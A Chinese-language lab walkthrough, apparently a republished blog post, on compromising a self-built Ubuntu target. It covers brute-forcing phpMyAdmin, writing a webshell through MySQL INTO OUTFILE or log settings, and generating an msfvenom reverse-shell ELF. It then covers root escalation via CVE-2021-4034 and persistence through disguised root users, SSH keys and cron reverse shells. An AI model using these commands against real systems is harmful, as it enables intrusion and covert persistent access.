口水話
前段時(shí)間打了兩個(gè)靶場 由于內(nèi)網(wǎng)接觸的不多 這里在結(jié)束之后惡補(bǔ)了一下相關(guān)方面的知識(shí),對(duì)于初涉內(nèi)網(wǎng)的小白來說,可以作為一個(gè)較好的參考。由于本文主要介紹提權(quán)方面,所以代碼審計(jì)部分就略過,希望大家看了會(huì)有所收獲
靶場環(huán)境
搭建用的系統(tǒng):ubuntu 16.04 內(nèi)核4.15.0 web環(huán)境 php+mysql+thinkphp
流程
首先開啟靶場 在攻擊機(jī)正常訪問靶場地址
這里提一下 因?yàn)橐话氵@種老版本的thinkphp都是二開的 所以那些Nday很少能夠成功復(fù)現(xiàn) 而且這就是一個(gè)html靜態(tài)頁面 所以看完后面的小伙伴不要奇怪為什么不對(duì)thinkphp做Nday測試 但是這里有彩蛋
webshell上傳過程
先來一波信息收集
實(shí)際情況肯定是要對(duì)該站點(diǎn)的子域名 cms 其他ip等等做收集 由于這里是靶場操作 這里就簡單進(jìn)行一個(gè)目錄掃描
通過目錄掃描可以得出 存在phpmyadmin管理界面的登錄界面 這種后臺(tái)嘛 直接bp爆破
BP爆破后臺(tái)登錄口令
沒啥說的啦 開BP代理直接跑
成功進(jìn)入phpmyadmin管理頁面 ps:這里提一下 當(dāng)成功進(jìn)入管理頁面 需要去做什么呢? 查看secure_file_priv是否為NULL 或者為指定路徑 (當(dāng)為NULL的時(shí)候 說明沒有讀寫的權(quán)限 也就是你可能沒法通過into outfile的方式來寫入webshell文件 ) 查看mysql的版本 路徑等
查看mysql的相關(guān)信息
secure_file_priv信息
之前提到的 當(dāng)secure_file_priv為NULL或者指定路徑是 是對(duì)其他目錄沒有讀寫權(quán)限的 那么這里為空 也就是說 可以對(duì)任意目錄寫入文件(前提是這個(gè)目錄的所用者對(duì)其他目錄有讀寫權(quán)限)
mysql寫webshell拓展
幾個(gè)必要的前提條件 1.secure_file_priv不為NULL或者指定路徑 2.phpmyadmin所在目錄的擁有者對(duì)其他目錄有讀寫權(quán)限 3.全局gpc關(guān)閉 (mysql-5.3.29以上默認(rèn)關(guān)閉) 4.root權(quán)限(這里指的是登錄數(shù)據(jù)庫的用戶) 5.知道具體路徑(通過信息收集獲取,上文有提到靜態(tài)頁面存在菜單 這里可以回去看看) into outfile()方式: 查詢執(zhí)行語句SELECT '' into OUTFILE '/home/wwwroot/default/ruchong.php' 該語句的作用就是寫入一句話到網(wǎng)站根目錄下 詳情自己百度 日志方式 日志方式的寫入有兩種 全局日志以及慢日志 不過具體用法差不多 實(shí)現(xiàn)的原理是 當(dāng)你開啟日志記錄是 你所查詢的語句都會(huì)全部被記錄在指定的一個(gè)文件中 那假如你指定的是一個(gè)php文件并且你查詢的語句為一句話木馬呢? 全局日志: 首先查詢是否開啟了全局日志記錄 show variables like '%general%'; 查看是否開啟 set global general_log = on; #未開啟就手動(dòng)開啟general log 模式 set global general_log_file = 'web可訪問目錄' #設(shè)置日志目錄為shell地址 SELECT '' #執(zhí)行查詢 即寫入到日志文件 慢日志: #查詢慢日志狀態(tài) show variables like '%slow_query_log%'; #查詢mysql系統(tǒng)時(shí)間 show global variables like '%long_query_time%'; #根據(jù)時(shí)間 設(shè)置超時(shí) select '' or sleep(11); 設(shè)置查詢時(shí)間為11s
mysql寫入webshell
這里通過into outfile的方式寫入 日志記錄也可以
切換到靶機(jī)查看是否生成了該文件
小技巧ps: 最好是先生成一個(gè)php探針頁面 為什么呢? 因?yàn)樘结橅撁婵梢栽敿?xì)的看到當(dāng)前的web環(huán)境的一些相關(guān)配置 (禁用函數(shù)情況、是否開啟php日志、session和php日志目錄等等)
連接webshell
這里先進(jìn)行一些相關(guān)的拓展 在不存在函數(shù)禁用的情況下:一般使用菜刀等就可以了 后續(xù)上傳大馬等等 存在函數(shù)禁用的情況:優(yōu)先考慮使用蟻劍 (可以使用disable_function繞過腳本)
打開虛擬終端 測試命令
這里為什么會(huì)無法查詢呢? 因?yàn)檫@是一個(gè)虛擬終端 本質(zhì)是通過命令執(zhí)行來調(diào)用主機(jī)的終端來執(zhí)行命令 從而回顯數(shù)據(jù) 但是由于相關(guān)函數(shù)被禁用 所以很多命令都無法執(zhí)行 也就是說 這個(gè)虛擬終端等于廢掉 那么 這個(gè)時(shí)候蟻劍的插件就派上用場了 可以通過繞過來執(zhí)行少數(shù)的一些命令 從而給我們提供更多的操作空間 擴(kuò)大我們的攻擊范圍 ps:蟻劍的插件需要掛ti子來下載 有興趣的自己百度
連接webshell后需要做什么
那肯定是上傳webshell 通過反彈來拓展攻擊面呀??! 但是前面提到了 插件繞過也只是能夠使用少數(shù)命令 本質(zhì)還是虛擬終端 所以很多都無法調(diào)用 這個(gè)時(shí)候 就需要反彈一個(gè)shell來進(jìn)行更多的操作 所以 懂得都懂叭
提權(quán)過程
內(nèi)核提權(quán)
msfconsole登場
說到反彈shell 那肯定是msf啦 可以聯(lián)動(dòng)cs/bp等 ps:這里是同一網(wǎng)段的靶場環(huán)境 所以不需要vps來做中轉(zhuǎn)(真實(shí)環(huán)境是需要用到vps的 后面有空了再寫橫向穿越,端口轉(zhuǎn)發(fā)以及隧道等內(nèi)容)
生成牧馬(保命)
由于是linux系統(tǒng) 這里就生成相應(yīng)的牧馬啦 msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.80.128 LPORT=6666 to -f elf > ruchong.elf 方便理解我這里直接寫了接收反彈的ip以及端口
小技巧 不同虛擬機(jī)傳文件需要從當(dāng)前虛擬機(jī)復(fù)制到物理機(jī)再復(fù)制到執(zhí)行虛擬機(jī) 是不是很麻煩? 使用python開啟一個(gè)臨時(shí)共享當(dāng)前目錄 就可以直接下載啦 命令:python3 -m http.server
執(zhí)行牧馬反彈shell啦
運(yùn)行之前 msf開啟對(duì)應(yīng)payload ip以及端口的監(jiān)聽 payload ip 端口 都要與生成的木馬使用的一致 最后的命令run或者exploit開啟監(jiān)聽啦
蟻劍上傳該牧馬 chmod +777 牧馬 #給權(quán)限運(yùn)行啦 ./牧馬 #運(yùn)行牧馬
msf成功收到反彈
內(nèi)核提權(quán)準(zhǔn)備工作
既然是內(nèi)核提權(quán) 當(dāng)然要知道內(nèi)核信息啦 使用命令uname -a查看當(dāng)前的系統(tǒng)版本以及內(nèi)核信息
內(nèi)核腳本的選擇
知道了內(nèi)核版本后 有多種選擇內(nèi)核的方式 這里簡單的列舉幾個(gè)
利用某網(wǎng)站來收集可使用的內(nèi)核提權(quán)腳本
https://www.exploit-db.com/
利用kali自帶搜索相應(yīng)內(nèi)核提權(quán)腳本
搜索命令 searchsploit 版本號(hào)/內(nèi)核號(hào) 下載腳本 searchsploit -m fath
利用相關(guān)插件收集提權(quán)腳本
該腳本自行上github搜索 ./linux-exploit-suggester.sh -k 4.15.0 執(zhí)行腳本 -k 指定的內(nèi)核版本
msf本地提權(quán)
run post/multi/recon/local_exploit_suggester 這個(gè)是自動(dòng)檢測可能成功的內(nèi)核提權(quán)腳本并且逐個(gè)嘗試 由于需要大概半個(gè)小時(shí) 所以就沒有操作 有興趣的可以自行嘗試
內(nèi)核提權(quán)?。?!
前面說了那么多 終于到關(guān)鍵的一步了 先說說為什么提權(quán)要提權(quán): 1.某些命令需要高權(quán)限用戶才可執(zhí)行 2.低權(quán)限用戶對(duì)于大多數(shù)敏感目錄沒有讀取權(quán)限 3.無法dump密碼 不存在密碼噴灑 這里利用cve-2021-4034來進(jìn)行提權(quán) github可以搜索下載 使用蟻劍上傳 下面po一下改提權(quán)腳本 如何使用
在msf執(zhí)行紅框命令
可以看到 成功提權(quán)到root權(quán)限 root權(quán)限能干嘛 不用多說了吧 下面簡單說一下權(quán)限維持的幾個(gè)方式
權(quán)限維持
1.創(chuàng)建一個(gè)用戶 并且權(quán)限為root 用戶名可以偽造成系統(tǒng)用戶名 比如說mysqld等等 2.開啟ssh登錄 并且生成root的ssh認(rèn)證密鑰對(duì) 將其保存本地 后滲透直接使用ssh登錄 3.添加計(jì)劃任務(wù) 即周期性的使用root身份反彈shell 4.使用不死馬或者內(nèi)存馬 5.設(shè)置啟動(dòng)項(xiàng)
其他提權(quán)方式
后面有時(shí)間我會(huì)單獨(dú)寫提權(quán)方式、不同平臺(tái)提權(quán)、內(nèi)網(wǎng)橫向移動(dòng)所使用的端口轉(zhuǎn)發(fā)、sock隧道建立的文章 這里大概提一下linux系統(tǒng)提權(quán)的其他方式 1.suid提權(quán) #使用find查找root用戶的suid文件 通過運(yùn)行該類文件獲取root權(quán)限 2.sudo提權(quán) #個(gè)人覺得有點(diǎn)雞肋 畢竟一般來說 webshell登錄的用戶權(quán)限是無法操作sudoers文件 3.計(jì)劃任務(wù)提權(quán) #查看計(jì)劃任務(wù)中有root權(quán)限的腳本 通過運(yùn)行該腳本獲取root權(quán)限 4.mysql提權(quán) #本次靶場是可以使用mysql提權(quán)的 百度cve-2016-6663了解
總結(jié)
對(duì)于內(nèi)核提權(quán)就寫到這啦 整體看下來應(yīng)該都會(huì)有一個(gè)比較清楚的認(rèn)知吧 不懂的話多看幾遍 相對(duì)來說是寫的比較詳細(xì)的了。 關(guān)于內(nèi)網(wǎng)還有很多需要學(xué)習(xí)的知識(shí) 像提權(quán)后的權(quán)限維持、橫向移動(dòng)、后滲透、痕跡清理、不同平臺(tái)的不同方式提權(quán)、以及進(jìn)階的域滲透。后期有空了會(huì)更新有關(guān)內(nèi)容的文章。學(xué)海無涯,希望大家每天都能學(xué)到新知識(shí)提升自己,學(xué)到的東西可不要做非法的事哈!?。?!
-
代碼
+關(guān)注
關(guān)注
30文章
4723瀏覽量
68237 -
內(nèi)網(wǎng)
+關(guān)注
關(guān)注
0文章
33瀏覽量
8973 -
phpMyAdmin
+關(guān)注
關(guān)注
0文章
5瀏覽量
5881
原文標(biāo)題:初涉內(nèi)網(wǎng),提權(quán)那些事(小白適用)
文章出處:【微信號(hào):magedu-Linux,微信公眾號(hào):馬哥Linux運(yùn)維】歡迎添加關(guān)注!文章轉(zhuǎn)載請(qǐng)注明出處。
發(fā)布評(píng)論請(qǐng)先 登錄
相關(guān)推薦
評(píng)論